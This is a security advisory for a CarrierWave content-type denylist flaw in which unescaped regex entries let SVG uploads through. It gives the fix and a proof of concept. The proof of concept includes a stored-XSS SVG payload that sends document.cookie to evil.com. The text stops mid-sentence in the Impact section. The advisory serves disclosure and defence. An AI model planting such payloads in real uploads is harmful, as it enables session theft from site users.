PT-2026-43454 · Rubygems · Carrierwave

Published

2026-05-27

·

Updated

2026-05-27

·

CVE-2026-44587

CVSS v3.1

4.7

Medium

VectorAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Summary

CarrierWave's content type denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.
Note: CarrierWave is aware #content type denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content type denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:
def denylisted content type?(denylist, content type)
 Array(denylist).any? { |item| content type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content type allowlist.rb:53-57, which correctly applies both Regexp.quote and a A anchor:
rubydef allowlisted content type?(allowlist, content type)
 Array(allowlist).any? do |item|
  item = Regexp.quote(item) if item.class != Regexp
  content type =~ /A#{item}/
 end
end
Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.
Fix: Apply Regexp.quote for string entries and anchor with A, matching the existing allowlist implementation:
rubydef denylisted content type?(denylist, content type)
 Array(denylist).any? do |item|
  item = Regexp.quote(item) if item.class != Regexp
  content type =~ /A#{item}/
 end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir p("uploads/files")

CarrierWave.configure do |config|
 config.root   = File.expand path("uploads")
 config.store dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
 storage :file
 def store dir = "files"
 def content type denylist = %w[image/svg+xml]
end

post "/upload" do
 content type :json
 san = CarrierWave::SanitizedFile.new(
  tempfile:   params[:file][:tempfile],
  filename:   params[:file][:filename],
  content type: params[:file][:type]
 )
 uploader = VaultUploader.new
 begin
  uploader.store!(san)
  { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to json
 rescue CarrierWave::IntegrityError => e
  { result: "blocked", message: e.message }.to json
 end
end
bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload 
 -F "file=@xss.svg;type=image/svg+xml"
Expected response (denylist working):
json{ "result": "blocked", "message": "..." }
Actual response:
json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content type denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Fix

Improper Encoding or Escaping of Output

Weakness Enumeration

Related Identifiers

CVE-2026-44587
GHSA-7G26-2QGJ-CHFG

Affected Products

Carrierwave